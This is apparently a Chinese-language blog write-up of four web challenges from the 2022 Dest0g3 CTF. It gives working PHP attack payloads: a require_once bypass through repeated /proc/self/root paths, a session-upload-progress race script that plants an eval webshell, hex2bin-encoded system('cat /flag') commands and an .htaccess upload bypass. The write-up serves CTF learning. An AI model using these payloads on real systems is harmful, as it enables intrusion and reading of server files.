2022Dest0g3 520迎新赛web


2022Dest0g3 520迎新赛web

周末在赶ddl,后面做了四道,剩下的题下个月争取全部复现。

phpdest

是一道原题WMCTF2020 Make PHP Great Again。
参考WMCTF2020 Make PHP Great Again WP
打开环境,给出源码

<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
  require_once $_GET['file'];
}

看到require_once第一反应是文件包含类型的题目,尝试多种方法没有试出来。
百度找到payload为

?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

得到flag。
具体原理可见php源码分析 require_once 绕过不能重复包含文件的限制
还有一种非预期解,利用session.upload_progress文件包含,这里直接粘了博客给的脚本。

import io
import requests
import threading
sessid = 'bbbbbbb'
data = {"cmd":"system('cat flag.php');"}
def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post( 'http://29990843-ca1b-41bd-b564-78e2b6b86557.node3.buuoj.cn/', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('1.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
    while True:
        resp = session.post('http://29990843-ca1b-41bd-b564-78e2b6b86557.node3.buuoj.cn/?file=/tmp/sess_'+sessid,data=data)
        if '1.txt' in resp.text:
            print(resp.text)
            event.clear()
        else:
            print("[+++++++++++++]retry")
if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,30): 
            threading.Thread(target=write,args=(session,)).start()

        for i in range(1,30):
            threading.Thread(target=read,args=(session,)).start()
    event.set()

EasyPHP

启动环境,给出源码。

<?php
highlight_file(__FILE__);
include "fl4g.php";
$dest0g3 = $_POST['ctf'];
$time = date("H");
$timme = date("d");
$timmme = date("i");
if(($time > "24") or ($timme > "31") or ($timmme > "60")){
    echo $fl4g;
}else{
    echo "Try harder!";
}
set_error_handler(
    function() use(&$fl4g) {
        print $fl4g;
    }
);
$fl4g .= $dest0g3;
?>

主要关注

set_error_handler(
    function() use(&$fl4g) {
        print $fl4g;
    }
);
$fl4g .= $dest0g3;

set_error_handler函数是在报错时会触发,用于创建运行期间的用户自己的错误处理方法。
这题题目就变为了如何触发$fl4g的报错,观察可控变量,发现仅可控制$dest0g3的值,而$dest0g3与$fl4g进行了一次.拼接,于是postctf[]="",触发报错,得到flag:Dest0g3{90d18bdb-ecff-4d17-a800-9093f1bd061c}。

SimpleRCE

找到一些进行waf的blog
https://blog.csdn.net/qq_51577576/article/details/122481513
https://blog.csdn.net/yuermon/article/details/113445465
https://blog.csdn.net/Reme_mber/article/details/124416941
最初想用base_convert(),但是无法对一些特殊符号编码。
发现可以用hex2bin()进行绕过,ls发现只有index.php,尝试/flag,发现成功读取
最后payload为

aaa=hex2bin('73797374656d')(hex2bin('636174202f2a'));   #解码为:system(cat /*)
aaa=hex2bin('73797374656d')(hex2bin('636174202f666c6167'));   #解码为;system(cat /flag)

得到flag: Dest0g3{a6b1fc53-4007-4a40-a90f-59f5a0ddd287}。

funny_upload

搜集到的一些有关资料:
https://blog.csdn.net/weixin_43940853/article/details/103749357
https://blog.csdn.net/weixin_39996141/article/details/111282275
https://www.cnblogs.com/riginal/p/11314565.html
https://www.136.la/jingpin/show-122549.html
https://blog.csdn.net/solitudi/article/details/116666720
首先打开环境,发现前端有JS代码检测后缀


function Checkfiles()
{
    var fup = document.getElementById('file');
    var fileName = fup.value;
    var ext = fileName.substring(fileName.lastIndexOf('.') + 1);
    if(ext == "gif" || ext == "GIF" || ext == "JPEG" || ext == "jpeg" || ext == "jpg" || ext == "JPG" || ext == "png" || ext == "PNG")
    {
        return true;
    }
    else
    {
        alert("这个文件不好,我不喜欢");
        return false;
    }
}

可以用burpsuite抓包改后缀,也可以直接把js代码删掉绕过。
尝试传php文件,发现后端有检测,绕过方法一般是利用服务器的解析漏洞,发现后端为Apache,利用.htaccess即可,重新尝试上传,发现<?也被ban掉。最开始想用<script>标签绕过,发现php版本过高,无法利用。然后尝试用base64编码绕过,在.htaccess文件中进行解码,发现无法调用一些命令,RCE失败。
最后payload

AddType application/x-httpd-php .jpg
php_value auto_append_file /flag

传入1.jpg(空文件即可),传入.htaccess,访问1.jpg即可得到flag。
得到flag:Dest0g3{b08c9b07-9235-4f1d-b6c9-53499fdbad03}


Author: kingkb
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint policy. If reproduced, please indicate source kingkb !